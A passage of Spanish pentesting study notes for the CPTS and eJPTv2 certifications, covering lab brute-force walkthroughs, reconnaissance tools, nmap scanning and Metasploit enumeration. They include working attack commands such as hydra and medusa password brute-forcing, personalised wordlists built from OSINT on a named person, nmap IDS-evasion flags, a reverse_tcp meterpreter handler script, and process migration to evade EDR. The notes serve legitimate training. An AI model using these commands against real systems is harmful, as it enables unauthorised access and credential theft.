![[Pasted image 20260708190231.png]]
- Dentro vemos que hay un servicio FTP escuchando
![[Pasted image 20260708190237.png]]
- Tras mirar los usuarios realizamos un ataque de fuerza bruta desde el host hacia el localhost y obtenemos las credenciales para conectarnos
![[Pasted image 20260708190556.png]]![[Pasted image 20260708190608.png]]
- Nos conectamos y obtenemos la flag
![[Pasted image 20260708190702.png]]
CPTS
3. Explotacion WEB / 3. Login Fuerza Bruta / 5. Wordlists Personalizadas
1. Wordlists Personalizadas
Username Anarchy
Imagina que conocemos el nombre “Jane Smith” podemos usar usernamearnarchy para hacer combinaciones de usernames
sudo apt install ruby -y
git clone https://github.com/urbanadventurer/username-anarchy.git
cd username-anarchy
./username-anarchy Jane Smith > jane_smith_usernames.txt
CUPP
Herramienta para crear listas de palabras altamente presonalizadas. La calidad de la wordlist depende de la profundidad y calidad de info recopilada
Para Jane Smith podriamos recopilar info de:
- Redes sociales
- Sitios web
- Registros publicos
- Articulos de noticias y blogs
Ejemplo de datos recopilados:
![[Pasted image 20260708194828.png]]
apt install cupp -y
cupp -i
![[Pasted image 20260708194907.png]]
![[Pasted image 20260708194931.png]]
Al pasar todos esos datos hemos creado una lista de usernames para Jane Smith y una lista de crontraseñas
La politica de contraseñas de la empresa es:
- Longitud minima 6
- Incluir:
- Mayuscula
- Minuscula
- Numero
- Caracter especial
Filtramos la lista de credenciales por la politica de contraseñas:
grep -E '^.{6,}$' jane.txt | grep -E '[A-Z]' | grep -E '[a-z]' | grep -E '[0-9]' | grep -E '([!@#$%^&*].*){2,}' > jane-filtered.txt
Usamos hydra o medusa con las wordlist creadas:
hydra -L USERNAME_WORDLIST.txt -P PASS_WORDLIST.txt IP -s PORT -f http-post-form "/:username=^USER^&password=^PASS^:Invalid credentials"
![[Pasted image 20260708195213.png]]
Ejemplo practico
- Creamos una lista de usernames
![[Pasted image 20260708195355.png]]
- Creamos la lista de passwords con los datos recopilados
![[Pasted image 20260708195631.png]]![[Pasted image 20260708195639.png]]
- Miramos e investigamos el POST form de autenticacion
![[Pasted image 20260708195659.png]]![[Pasted image 20260708195707.png]]![[Pasted image 20260708195728.png]]![[Pasted image 20260708195750.png]]
- Una vez que sabemos los parametros del POST form usamos hydra con las wordlists creadas
![[Pasted image 20260708195959.png]]
- Nos logueamos y obtenemos la flag
![[Pasted image 20260708200029.png]]**![[Pasted image 20260708200034.png]]
CPTS
3. Explotacion WEB / 3. Login Fuerza Bruta / 6. Skill Assessment
1. Part 1
Tras realizar esta parte obtendremos el nombre de usuario necesario para iniciar la parte 2
Puede que sean utiles: usernames.txt y passwords.txt
-
Visitamos el sitio web y vemos que es un sitio web con un Authentication Basic
![[Pasted image 20260708200434.png]]
-
Realizamos la fuerza bruta sobre el sitio web
![[Pasted image 20260708200602.png]]
- Nos logueamos para obtener el usuario para la parte 2
![[Pasted image 20260708200618.png]]![[Pasted image 20260708200625.png]]
CPTS
3. Explotacion WEB / 3. Login Fuerza Bruta / 6. Skill Assessment
2. Part 2
Usa el nombre que encontramos en la parte 1: satwossh
- Vamos a visitar la pagina web y vemos que no es una pagina web. Al realizar un escaneo del puerto vemos que es un ssh
![[Pasted image 20260708200915.png]]
![[Pasted image 20260708200902.png]]
- Usamos hydra, el usuario que habiamos conseguido en la primera parte y la wordlist de passwords de seclist y obtenemos las credenciales para logearnos en el host
![[Pasted image 20260708201043.png]]![[Pasted image 20260708201116.png]]
- Dentro vemos 3 archivos (una nota importante, una wordlists de passwords y Usernarchy). Al leer la nota importante vemos que el usuario Thomas Smith se habia logueado via ftp y subido archivos potencialmente maliciosos
![[Pasted image 20260708201216.png]]
- Miramos si realmente esta el FTP activado en el host. Tras esto creamos una wordlists de usernames para el usuario y usamos el archivo de passwords para hacer fuerza bruta con medusa sobre FTP
![[Pasted image 20260708201242.png]]![[Pasted image 20260708201400.png]]![[Pasted image 20260708201518.png]]![[Pasted image 20260708201540.png]]
- Conseguimos la credencial, nos logueamos y obtenemos la flag
![[Pasted image 20260708201652.png]]
eJPTv2
1. Information Gathering / 1. Comandos Pasivos
1. Host
host <DOMAIN>
Se suele usar junto con whois
Es un comando que resuelve DNS. Si nos da 2 IPs lo mas probable es que este detras de Cloudflare o algun servicio por el estilo
Ademas nos puede dar mas informacion como los mail servers
![[Pasted image 20260316195145.png]]
EJEMPLO JUNTO CON WHOIS
![[Pasted image 20260316200045.png]]
eJPTv2
1. Information Gathering / 1. Comandos Pasivos
2. Robots.txt
http://<IP>/robots.txt
Este es un directorio que indica al navegador que directorios o recursos no deben ser indexados. Puede tener dos entradas:
- Disallow: no indexa estos directorios
- Allow: si los indexa
![[Pasted image 20260316195407.png]]
eJPTv2
1. Information Gathering / 1. Comandos Pasivos
3. Sitemap.xml
http://<IP>/sitemap.xml
Un archivo que provee a los navegadores una forma optimizada de indexar la website
![[Pasted image 20260316195549.png]]
En nuestro caso tenemos:
- /post-sitemap.xml
- /page-sitemap.xml
- /category-sitemap.xml
eJPTv2
1. Information Gathering / 1. Comandos Pasivos
4. Whatweb Y Wappalyzer
Whatweb
whatweb <URL>
nos dice tambien las tecnologias, lenguajes...
![[Pasted image 20260316195740.png]]
Wappalyzer
Wappalyzer: es una extension que nos dice las tecnologias que usa la website
![[Pasted image 20260316195659.png]]
eJPTv2
1. Information Gathering / 1. Comandos Pasivos
5. Whois
whois <DOMAIN>
Se suele usar junto con host
Whois es un protocolo de Internet que se usa para preguntar a las BBDD: nombre del dominio, IPs, sistemas...
![[Pasted image 20260316195915.png]]
Informacion que nos ha dado:
- Nombre del dominio
- Servidor whois
- Registrar URL
- Dia de ultima actualizacion, creacion y expiracion
- Registrar organization
- Email y phone Abuse
- Name servers: detras de cloudflare
- DNSSEC: unsigned
EJEMPLO CON HOST
![[Pasted image 20260316200019.png]]
eJPTv2
1. Information Gathering / 1. Comandos Pasivos
6. Dnsrecon Y Dnsdumpster
Dnsrecon
dnsrecon -d <DOMAIN>
Herrmienta de python que nos permite verificar los DNS records de la zona de transferencia o los generales
![[Pasted image 20260316200213.png]]
Dnsdumpster
https://dnsdumpster.com/
Lo mimso que dnsrecon pero en una web y con mas detalle
-
Nos dice donde se situan los sistemas
![[Pasted image 20260316200309.png]]
-
Nos dice subdominios (Registros A), servidores mail (Registros MX) y nameservers (Registros NS)
![[Pasted image 20260316200322.png]]
![[Pasted image 20260316200336.png]]
- Grafico descriptivo y visual
![[Pasted image 20260316200350.png]]
Estamos viendo que tenemos:
- Un subdominio y dos servidores DNS dentro de cloudflare
- Mientras que el servidor de mail esta dentro de namecheap-net
eJPTv2
1. Information Gathering / 1. Comandos Pasivos
7. Wafw00f
Esta herramienta sirve para ver si una web tiene un WAF
Como lo hace:
Envia un HTTP request y analiza la respuesta, lo compara con una lista de WAFs que tiene
Si no funciona, envia un num de HTTP Request y usa logica y deduce si tiene un WAF
Si tampoco funciona, analiza las respuestas y usa otra algoritmo simple para identificar si hay un WAF u otra solucion de seguridad activada
Usos
| Comandos |
Explicacion |
| wafw00f -l |
Muestra lista de los WAF y proxies que conoce |
| wafw00f <DOMAIN> |
Muestra el WAF de la aplicacion |
| wafw00f -a <DOMAIN> |
Muestra el WAF de la aplicacion y mas info |
wafw00f -l
Muestra una lista de los WAF y proxies que conoce
![[Pasted image 20260316200504.png]]
wafw00f <DOMAIN>
Muestra
- The site “nombre” is behind a WAF o proxy
- No WAF o proxy detected
![[Pasted image 20260316200544.png]]
wafw00f -a <DOMAIN>
![[Pasted image 20260316200605.png]]
eJPTv2
1. Information Gathering / 1. Comandos Pasivos
8. Sublist3r
sublist3r -d <DOMAIN>
No es con fuerza bruta por lo que no es activo. Usa motores de busqueda publicos y herramientas como Netcraft, Virustotal… para encontrar subdominio que puedan ser indexados
Descubre subdominios mediante OSINT
Tiene integrado subbrute para poder hacer ataques de fuerza bruta
Parametros
WORDLIST : /usr/share/wordlist/dirb/common.txt
| Parametros |
Explicacion |
| -d |
Dominio |
| -b |
Fuerza bruta |
| -p |
Puerto |
| -v |
Verbose |
| -t |
Threads de ataque de fuerza bruta |
| -e |
Motores de busqueda separados por comandos |
| -o |
Output file |
| -h |
Help |
| ![[Pasted image 20260316214915.png]] |
|
eJPTv2
1. Information Gathering / 1. Comandos Pasivos
9. Google Dorks
https://www.exploit-db.com/google-hacking-database?category=11
Muchas empresas dejan informacion expuesta en Google de forma publica sin saberlo
Ejemplos rapidos
| Dork |
Explicacion |
| site : domain o site : *.domain |
Todos los resultados seran de ese dominio y sus subdominios |
| inurl : algo (palabras: admin, forum…) |
Busa resultados donde la url contenga esas palabras |
| intitle : algo (palabras: admin, forum…) |
Lo mismo que en inurl pero con el titulo |
| intitle : index of |
Directorios que tienen listados de archivos |
| filetype : (pdf, docs…) |
Busca archivos con esas extensiones |
| cache : domain |
Como usar WayBackMachine |
| Ejemplos: |
|
- site : domain employees
- site : *.domain filetype : pdf CRM
Busqueda
Es una pagina web que contiene ejemplos de Google Dorks que pueden sernos utiles
![[Pasted image 20260316200948.png]]
Se puede filtrar por ejemplo para Google Dorks que nos muestren Archivos con Passwords:
![[Pasted image 20260316201005.png]]
eJPTv2
1. Information Gathering / 1. Comandos Pasivos
10. Theharvester
theHarvester -d <DOMAIN> -b <SOURCE1,SOURCE2,SOURCE3…>
Enumerar emails de un dominio especifico
TheHarvester es parecido a sublist3r ya que busca en motores de busqueda y BBDD pùblicas pero para encontrar emails likeados
Las fuentes se ven en el help
Mas parametros
| Parametros |
Explicacion |
| -d domain |
Especificar dominio |
| -l limit |
Limitar el numero de busquedas (Default=500) |
| -p |
Usar proxies (estan en proxies.yaml) |
| -s |
Usar Shodan |
| -v |
Verbose |
| -e DNS_Server |
Cambiar servidor DNS |
| -r DNS_Resolve |
Hacer una resolucion DNS de los subdominios con una lista de resolvers |
| -n |
Habilitar busqueda DNS |
| -c |
DNS brute force al subdominio |
| -b source |
Elegir la fuente, hay una lista |
| -h |
Ayuda |
Ejemplo
![[Pasted image 20260316201244.png]]![[Pasted image 20260316201255.png]]![[Pasted image 20260316201306.png]]
*Los ASNS son identificadores únicos que se asignan a un Sistema Autónomo en Internet.
Un Sistema Autonomo es una red grande (o conjunto de redes) que:
- pertenece a una organización
- tiene una política de enrutamiento propia
- se anuncia a Internet usando BGP
Ejemplos:
- un ISP (Movistar, Orange)
- una empresa grande (Google, Cloudflare)
- un proveedor cloud (AWS, Azure)
eJPTv2
1. Information Gathering / 1. Comandos Pasivos
11. Haveibeenpwned
https://haveibeenpwned.com/
Es un sitio web que mira en bases de datos si los moviles, emails... han sido likeados
Si encontramos un email antes podemos meterlo y podriamos ver si el credenial ha sido leakeado y hacer un password spray para ver si podemos entrar en Facebook, Insta..
![[Pasted image 20260316201447.png]]
eJPTv2
1. Information Gathering / 2. Comandos Activos
1. Etc Hosts
<cat | nano> /etc/hosts
Contiene una lista de los hostnames y sus IPs a modo de un mini DNS server local (aunque no es exactamente asi). Con esto se soluciona el problema de no encontrar un dominio automaticamente, solo tendriamos que poner el nombre del dominio y su IP
Ejemplo rapido
La 192.168.0.1 es para acceder al panel de control del router
![[Pasted image 20260316201916.png]]
Si añadimos esta linea en /etc/hosts:
![[Pasted image 20260316201930.png]]
Ahora podemos poner en el navegador (hay que poner el https://):
![[Pasted image 20260316201943.png]]
eJPTv2
1. Information Gathering / 2. Comandos Activos
2. Dnsdumpster.com, Dnsrecon Y Dnsenum
DNS Records y DNS transfer
| Registro |
Explicacion |
| A |
IPv4 del dominio si no esta protegido por un proxy o WAF |
| AAAA |
IPv6 |
| NS |
nameserver. Nombre del DNS server autoritario |
| MX |
mailserver |
| CNAME |
alias del dominio |
| HINFO |
informacion del host (hw y SO) |
| SOA |
sautoridad en una zona DNS, coordina las transferencias de zona |
| SRV |
service record. Ubicacion de servicios como: servidor, puerto… |
| PTR |
resuelve IP - domain server |
| TXT |
texto |
Zone transfer: es la accion de traspaso de archivos de zona o zone files entre servidores DNS. Estos contienen registros de dominios
Si esta mal configurado o inseguro esto puede ser abusado copiando zone files de un DNS server a otro. Esto nos podria dar informacion corporativa
Dnsrecon
dnsrecon -d <DOMAIN>
Herrmienta de python que nos permite verificar los DNS records de la zona de transferencia o los generales
![[Pasted image 20260316200213.png]]
Dnsenum
dnsenum <DOMAIN>
Esta herramienta hace DNS recon de forma activa
Esto nos dara registros y ademas hara una Zone Transfer y Fuerza bruta de forma automatica
Wordlist DNS Records: /usr/share/dnsenum/dns.txt
![[Pasted image 20260316202202.png]]![[Pasted image 20260316202220.png]]
Dnsdumpster
https://dnsdumpster.com/
Lo mimso que dnsrecon pero en una web y con mas detalle
-
Nos dice donde se situan los sistemas
![[Pasted image 20260316200309.png]]
-
Nos dice subdominios (Registros A), servidores mail (Registros MX) y nameservers (Registros NS)
![[Pasted image 20260316200322.png]]
![[Pasted image 20260316200336.png]]
- Grafico descriptivo y visual
![[Pasted image 20260316200350.png]]
Estamos viendo que tenemos:
- Un subdominio y dos servidores DNS dentro de cloudflare
- Mientras que el servidor de mail esta dentro de namecheap-net
eJPTv2
1. Information Gathering / 2. Comandos Activos
3. Dig
Usos
| Comandos |
Explicacion |
| dig <DOMAIN> |
Interrogacion de dominio, nos dara DNS Records como A |
| dig axfr @<NS_NAME> <DOMAIN> |
Realiza un zone transfer El NS lo conseguimos con dnsenum anteriormente |
Zone transfer: es la accion de traspaso de archivos de zona o zone files entre servidores DNS. Estos contienen registros de dominios
Si esta mal configurado o inseguro esto puede ser abusado copiando zone files de un DNS server a otro. Esto nos podria dar informacion corporativa
Ejemplos
dig <DOMAIN>
![[Pasted image 20260316202504.png]]
dig axfr @<NS_NAME> <DOMAIN>
El NS lo conseguimos con dnsenum anteriormente
![[Pasted image 20260316202517.png]]
eJPTv2
1. Information Gathering / 2. Comandos Activos
4. Fierce
Es parecido a dnsenum solo que los deja en formato lista y si queremos hacer fuerza bruta tenemos que especificarlo con un parametro
Usos
| Comandos |
Explicacion |
| fierce –domain <DOMAIN> |
Saca DNS Records |
| fierce –domain <DOMAIN> –subdomain-file /usr/share/dnsenum/dns.txt |
Realiza fuerza bruta |
Wordlist DNS Records
WORDLIST : /usr/share/dnsenum/dns.txt
eJPTv2
1. Information Gathering / 2. Comandos Activos
5. Nmap (host Discovey Y Port Scanning)
(sudo) nmap <-PARAMETROS> <IP> <-o(SALIDA)> <ARCHIVO_SALIDA>
***-sS necesita sudo***
Parametros Host Discovery
nmap -sn <IP | IP_red/mascara>
Realiza ping sweep para ver si el host destino esta levantado
Parametros PortScanning
| Parametro |
Explicacion |
| Sin parametros |
Hace un SYN scan de los 1000 puertos mas usados |
| -Pn |
Omite la verificacion ping del principio por si el sistema la deniega |
| -p- |
Escanea todos los 65.535 puertos |
| -p N o N,N o N-N |
Escanea un puerto especifico, puertos especificos o un rango de puertos |
| -F |
Escanea los 100 puertos mas usados |
| -sU |
Escanea puertos UDP |
| -sV |
Escanea en busca de las versiones especificas de los puertos encontrados |
| -sC |
Escanea y usa scripts .nse para obtener mas informacion de los puertos |
| -O |
Intenta averiguar el SO del host |
| -A |
Escaneo agresivo que es como juntar (-sV -sC -O) |
| -T 0-5 o palabras |
Velocidad del escaneo. Las palabras son (paranoid, sneaky, normal, aggresive, insane) |
| -o(N,X,G,A) archivo |
Guara el resultado en un archivo con formato (.nmap, .xml, grepeable o todos) Para MSF .xml -oX |
| -sS |
Escaneo silencioso ya que no termina el 3 way handshake (necesita sudo) |
| -sT |
Escaneo normal ya que termina el 3 way handshake |
eJPTv2
1. Information Gathering / 2. Comandos Activos
6. Netdiscover (host Discovering)
netdiscover -i <INTERFAZ> -r <IP_RED/MASCARA>
envia ARP resquest (resuelve MAC en IP y al reves)
![[Pasted image 20260316204150.png]]
eJPTv2
1. Information Gathering / 2. Comandos Activos
7. Gobuster
Visto en: [[13. Gobuster]]
eJPTv2
1. Information Gathering / 2. Comandos Activos
8. Httrack
httrack http://target.com
Que hace httrack:
- analiza la página principal
- sigue todos los enlaces internos
- descarga cada recurso
- crea una copia navegable offline
![[Pasted image 20260316204626.png]]![[Pasted image 20260316204635.png]]
eJPTv2
1. Information Gathering
Indice Comandos
PUERTOS QUE APAREZCAN CON ? conectarse con [[7. Netcat|netcat]] por si acaso son shells
PASSIVE
- [[1. Host |Host]]
- [[2. robots.txt|/robots.txt]]
- [[3. sitemap.xml|/sitemap.xml]]
- [[4. Whatweb y Wappalyzer|whatweb o wappalyzer]]
- [[5. Whois|whois]]
- [[6. Dnsrecon y dnsdumpster|dnsrecon]]
- [[6. Dnsrecon y dnsdumpster|dnsdumpster.com]]
- [[7. Wafw00f|wafw00f]]
- [[8. Sublist3r|sublist3r]]
- [[9. Google Dorks|Google Dorks]]
- [[10. theHarvester|theHarvester]]
- [[11. HaveIBeenPwned|HaveIBeenPwned]]
ACTIVE
- [[1. etc-hosts|/etc/hosts]]
- [[2. dnsdumpster.com, dnsrecon y dnsenum|dnsdumpster.com]]
- [[2. dnsdumpster.com, dnsrecon y dnsenum|dnsrecon]]
- [[2. dnsdumpster.com, dnsrecon y dnsenum|dnsenum]]
- [[3. dig|dig]]
- [[4. fierce|fierce]]
- [[5. nmap (Host Discovey y Port Scanning)|nmap (Host Discovey/Port Scanning)]]
- [[6. netdiscover (Host Discovering)|netdiscover]]
- [[7. gobuster|gobuster]]
- [[8. httrack|httrack]]
eJPTv2
2. Host Discovery Y Port Scanning / 1. Comandos Host Discovery Y Port Scanning
1. Ping Y Fping
Ping
ping <IP | IP_RED/MASCARA>
La idea es hacer Pings (ICMP Echo Requests) a un rango IP y observar respuesta para ver si esta vivo
*Los hosts Windows bloquean este trafico por defecto*
USOS
| Ejemplo |
Explicacion |
| ping IP o domain |
Realiza un ping a ese objetivo en concreto |
| ping IP_red/mascara |
Realiza un ping a toda la subred |
| ping -b IP_red |
Realiza un ping a toda la subred |
| ping -c N IP |
Envia un numero de paquetes especificado (N) en Linux |
| ping -n N IP |
Envia un numero de paquetes especificado (N) en Windows |
Fping
| Ejemplo |
Explicacion |
| fping -a/–active -g IP_red/mascara |
Escanea toda la red en busca de host activos en la red |
| fping -a/–active -g IP-IP |
Escanea toda la red en busca de hosts activos en el rango que se le marque |
| fping -a IP |
Como el ping normal |
-g: sirve para generar una lista de hosts si se escanea mas de uno
eJPTv2
2. Host Discovery Y Port Scanning / 1. Comandos Host Discovery Y Port Scanning
2. Nmap (host Discovering Y Port Scanning)
Visto en: [[5. nmap (Host Discovey y Port Scanning)]]
eJPTv2
2. Host Discovery Y Port Scanning / 1. Comandos Host Discovery Y Port Scanning
3. Nse Nmap
Son scripts de nmap para automatizar ciertas funcionalidades o procesos durante el escaneo
Para buscar los scripts:
| Comando |
Explicacion |
| ls -la /usr/share/nmap/scripts |
Muestra todos |
| ls -la /usr/share/nmap/scripts | grep -e “ftp*” |
Busca todos los de ftp |
Parametros NSE
| Parametro |
Explicacion |
| -sC |
Usa una lista de los scripts mas usados de nmap (Junto con -sV = -sCV) |
| –script = nombre/categoria/regex(ftp*) |
Para especificar scripts que queremos usar por nombre/categoria (discovery, vuln…)/regex (ftp*) |
| –script-help = nombre/regex |
Para ver lo que hace el script, su categoria o SI NECESITA PARAMETROS ADICIONALES |
| PARA VER LOS PARAMETROS QUE NECESITA NOS METEMOS EN LA URL DE NMAP SACADA DEL –script-help |
|
| –script-args nombre_argumento=valor, nombre_argumento=valor… |
Especificar los parametros que necesita un script |
eJPTv2
2. Host Discovery Y Port Scanning / 1. Comandos Host Discovery Y Port Scanning
4. Firewall Detection E Ids Evasion Nmap
Detectar Firewall
nmap -sA <IP>
Nos dira si esta filtered (firewall) o no (no firewall)
Con el ACK Scan (el cual envia un paquete ACK inesperado al objetivo), podemos ver realmente que puertos estan abietos y si hay un firewall
EJEMPLO PRACTICO:
- Host Discovery –> nmap -sn IP
- Port Scanning –> nmap -Pn -sS -F IP
- Nos salen puertos = closed
- Usamos ACK –> nmap -Pn -sA -F IP
- Nos dira los filtered y no filtered
Evitar IDS
| Comandos |
Explicacion |
| -f |
fragmentacion de paquetes |
| –mtu N (multiplos de 4) |
Tamano max de los paquetes fragmentados |
| -D <IP | IP,IP | IP-IP> |
Spoofing o decoy de IPs |
| –ttl N |
Aumentar el TTL por si el paquete se pierde o tiene que dar mas saltos dentro de la red |
| –data-lenght N |
Sirve para aumentar el tamaño del paquete con informacion basura para hacerlo mas dificil de detectar que el tamaño default y hacerlo ver como trafico normal |
| -g PUERTO |
Elegir el puerto origen |
EXPLICACIONES
- Fragmentacion de paquetes: ya que viendo un solo paquete no sabra exactamente que esta pasando y se reensamblan en el destino
| Parametro |
Ejemplo |
| -f |
nmap -Pn -sS -sV -F -f IP |
En Fragment ID protocol (sucede en capa 3), veremos el Fragmetn Offset = 0, el siguiente sera 8, 16…
- MTU: Unidad Maxima Transmitida. Tamaño maximo de los paquetes fragmentados
| Parametro |
Ejemplo |
| –mtu N (multiplos de 4) |
nmap -Pn -sS -F -f –mtu 8 IP |
- Spoofing IP o Decoy IP: suplantar nuestra IP haciendola pasar por otra
Se puede usar la del gateway
| Parametro |
Ejemplo |
| -D IP/IP,IP/IP-IP |
nmap -Pn -sSVC -pN,N -f -D 10.10.10.1,10.10.10.2 |
Otros parametros que podrian ser utiles
| Parametro |
Explicacion |
| –ttl N |
Aumentar el TTL por si el paquete se pierde o tiene que dar mas saltos dentro de la red |
| –data-lenght N |
Sirve para aumentar el tamaño del paquete con informacion basura para hacerlo mas dificil de detectar que el tamaño default y hacerlo ver como trafico normal |
| -g PUERTO |
Elegir el puerto origen |
eJPTv2
2. Host Discovery Y Port Scanning / 1. Comandos Host Discovery Y Port Scanning
5. Nmap + MSF Resultados
Comandos
| Comandos |
| nmap … -oX archivo.xml |
| service postgresql start && msfconsole |
| db_status |
| db_import archivo.xml |
|
COMANDOS DENTRO DE MSF
| Comandos |
Explicacion |
| hosts |
Muestra todos los hosts encontrados en el escaneo |
| hosts -v |
Informacion detallada de los hosts |
| hosts -c address, os_name_os_flavor,info |
Elegir las colunmas concretas |
|
|
| services |
Ver los servicios extraidos |
| services -p N –rhosts |
Sirve para ver solo las IPs con esos puertos. Util para lanzar modulos a esos puertos especificos |
| servivces -p N -R |
Completa el campo RHOSTS de las OPTIONS con las IPs que contengan esos puertos |
| getg RHOSTS, unsetg RHOSTS |
Con el comando anterior hemos puesto RHOSTS como variable global a las IPs con esos puertos. Con estos comandos vemos la variable global RHOST si existe y la vaciamos |
|
|
| creds |
Muestra todas las credenciales encontradas |
| creds -p PUERTO/admin(nombre o patron) |
Muestra las credenciales filtradas por lo que se le pase ya sea un puerto o un nombre de usaurio… |
|
|
| notes |
Guarda las notas de los NSE y Metasploit |
| notes -R IP |
Ver notas de un host |
|
|
| vulns |
Ver vulnerabilidades encontradas |
| loot |
Evidencias que ha encontrado metasploit (passwords, config.xml…) |
|
|
| routes |
Rutas y poviting si existen |
eJPTv2
2. Host Discovery Y Port Scanning / 2. Banner Grabbing
1. Banner Grabbing
Con Nmap
| nmap -Pn -sS -sV -O -T4 IP |
Encontramos un solo puerto, SSH version OpenSSH 7.2p2 en un Ubuntu 4ubuntu2.6 y protocolo 2.0 |
| ls -la /usr/share/nmap/scripts | grep banner |
Con este script podemos ver que servicio y version esta corriendo en ese puerto en particular si es obetenible |
| nmap -Pn -sS -sV –script=banner -T4 IP |
Vemos lo mismo que hemos obtenido antes. Suele ser muy util cuando no somos capaces de identificar un servicio por -sV |
Con Netcat
| nc IP PUERTO -v |
Nos da el mismo banner que nmap Es util cuando con el script de nmap no nos da informacion valida -v: verbose mode |
Iniciando session en el protocolo
Aunque no tengamos las creds puede salir algo
| ssh USER@IP |
Probamos un user comun como root y a veces nos suele dar un mensaje de bienvenida con la version y algo de info. En ssh es mas raro pero Telnet y otros suele ser mas normal |
eJPTv2
2. Host Discovery Y Port Scanning
Indice Comandos
-
Host Discovery y Port Scanning
- Wireshark
- [[1. Ping y fping|Ping (Host Discovery)]]
- [[1. Ping y fping|Fping (Host Discovery)]]
- [[5. nmap (Host Discovey y Port Scanning)|Nmap (Host Discovery/Port Scanning)]]
- [[3. NSE Nmap|NSE Nmap]]
- [[4. Firewall Detection e IDS Evasion Nmap|Firewall Detection e IDS Evasion Nmap]]
- [[5. Nmap + MSF resultados|Nmap + MSF resultados]]
-
Banner Grabbing
- [[1. Banner Grabbing|Banner Grabbing]]
PASOS DE ESTA FASE
- Host Discovery:
ifconfig: ver nuestra interfaz, IP y mascara
nmap -sn OPCIONES IP_red/mascara
- Port Scanning:
nmap -Pn -s(S,U,T…) OPCIONES IP ,
eJPTv2
3. Enum Servicios / 1. MSF Enum Generico
1. MSF Enum Generico
Generico
| Paso |
Explicacion |
| service postgresql start |
Iniciamos la bbdd de msf |
| msfconsole |
Iniciamos msfconsole |
| workspace -a NOMBRE |
Creamos un workspace para ese servicio |
| search type:auxiliary name:NOMBRE_PROTCOLO |
Buscamos los modulos auxiliares que nos ayudaran a la enumeracion |
setg RHOST IP/hostname setg RHOSTS IP/hostname
(unsetg) |
Ponemos como variables globales la IP/hostname para que no tengamos que ponerlo constantemente |
| use X/NOMBRE_MODULO |
Elegimos el modulo |
| show options |
Vemos las opciones que hay que configurar en cada modulo |
| set NOMBRE_OPTION VALOR |
Ponemos valor a las que necesitemos |
| run |
Corremos el modulo |
COMANDOS UTILESmsf
| Comando |
Explicacion |
| unset OPTION |
Eliminar valor de una opcion |
| services |
Muestra los servicios encontrados |
| vulns |
Ver vulnerabilidades |
| loot |
Ver info critica recogida |
| back |
Volver pero sin salir de metasploit. Puedes salirte de un modulo por ejemplo |
| search portscan |
Para buscar tipos de escaneo para encontrar los puertos y servicios que estan corriendo |
| connect IP PUERTO |
Como netcat nos dara el banner, se conecta a ese puerto |
| workspace [-d,-a] NOMBRE |
|
| run /post/windows/manage/migrate |
Para migrar a otro proceso. Esto tiene varias razones:
- Estabilidad de la sesion: si cierra el programa el usuario del objetivo perdemos la sesion o si era un proceso temporal igual - La mayoria de EDR/AVs detectan el primer proceso ya que se realiza desde uno sospechoso. Migrar a uno legitimo permite camuflarte y reducir alertas - Escalar privs al migrar a un proceso que corre como NT AUTHORITY\SYSTEM - Acceder a recursos del usuario. Si hemos accedido desde un servicio puede que no tengamos sesion interactiva pero si migramos a un explorer.exe por ejemplo la tendremos - El proceso inicial puede tener argumentos maliciosos, memoria marcada… migrar y dejar morir el proceso limpia muchas evidencias y evita rastreos del exploit |
Busquedas search
search type:[auxiliary,exploit] cve:[AÑO] plataform:[windows,linux] name:[NOMBRE]
Automatizacion
Crear scripts en .rb para automatizar comandos MSF. Es simplemente poner los comandos uno detras de otro y luego usar msfconsole -r NOMBRE.rb
| Comandos |
Explicacion |
| ls -ls /usr/share/metasploit-framework/scripts/resource/ |
Scripts que vienen prepackaged |
| vim /usr/share/metasploit-framework/scripts/resource/auto_brute.rc |
|
Ejemplo creando un multi/handler
| nano handlre.rc |
|
use multi/hanlder set payload windows/meterpreter/reverse_tcp set lhost IP set lport N run |
|
| msfconolse -r handler.rc |
Se iniciara el msf y luego se ejecutara el script |
Ejemplo portscan.rc
| nano portscan.rc |
|
use auxiliary/scanner/portscan/tcp set rhost IP run |
|
| msfconolse -r portscan.rc |
Se iniciara el msf y luego se ejecutara el script |
Tambien se pueden ejecutar directamente dentro de MSF
| resource /ruta/portscan.rc |
Se ejecutara el script |
Podemos crear un scritp con los comandos realizados previamente
| msfconsole -q |
|
| use auxiliary/scanner/portscan/tcp |
|
| set rhost IP |
|
| run |
|
| makerc /ruta/archivo.rc |
Se creara un script en la ruta con los comandos realizados |
eJPTv2
3. Enum Servicios / 2. FTP (21)
1. Interaccion
| Comando |
Explicacion |
| ftp IP |
Para loggearnos en el servicio (nos pedira USERNAME/PASSWORD) |
|
|
| COMANDOS INTERNOS |
|
| ls |
Listar |
| get /archivo |
Descargar un archivo a nuestro host local |
| put /archivo |
Subir un archivo al host ftp |
| pwd |
Ver directorio en el que nos encontramos |
| exit |
Salir de ftp |
eJPTv2
3. Enum Servicios / 2. FTP (21)
2. MSF Enum
[[1. MSF Enum Generico]]
Modulos
Auxiliares
search type:auxiliary name:ftp
| Modulo |
Explicacion |
OPTIONS IMPORTANTES |
| ftp_version |
Nos revela info de version del servicio, host… Nos permite mas adelante encontrar vulnerabilidades a esas versiones |
|
| ftp_login |
Realiza un ataque de fuerza bruta con una wordlist |
PASS_FILE, USER_FILE, STOP_ON_SUCCESS, VERBOSE, USER_PASS_FILE… |
| ftp_anonymous |
Verifica si nos podemos conectar anonimamente |
|
eJPTv2
3. Enum Servicios / 3. SMB (445)
1. Interaccion
Puertos UDP –> 137 y 138
Interaccion
| ls |
Listar |
| cd /ruta |
Cambiar de directorio |
| get /archivo |
Descargar un archivo a nuestro host local |
| put /archivo |
Subir un archivo al host smb |
recurse ON prompt OFF |
Dos parametros que se ponen antes de subir/descargar carpetas de forma recursiva.
Enciende el recursivo para la carpeta Apaga la confirmacion de subida/descarga de cada archivo |
| mget * |
Descargar todos los archivos del recurso compartido |
| mput * |
Subir todos los archivos de nuestra carpeta al smb |
eJPTv2
3. Enum Servicios / 3. SMB (445)
2. Nmap Scripts Nse
smb-os-discovery
smb-protocols
smb-security-mode
smb-enum-sessions (–script-args smbusername=<USER>,smbpassword=<PASS>)
smb-enum-shares (–script-args smbusername=<USER>,smbpassword=<PASS>)
smb-enum-shares,smb-ls (–script-args smbusername=<USER>,smbpassword=<PASS>)
smb-enum-users (–script-args smbusername=<USER>,smbpassword=<PASS>)
smb-server-stats (–script-args smbusername=<USER>,smbpassword=<PASS>)
smb-enum-domains (–script-args smbusername=<USER>,smbpassword=<PASS>)
smb-enum-groups (–script-args smbusername=<USER>,smbpassword=<PASS>)
smb-enum-services (–script-args smbusername=<USER>,smbpassword=<PASS>)
eJPTv2
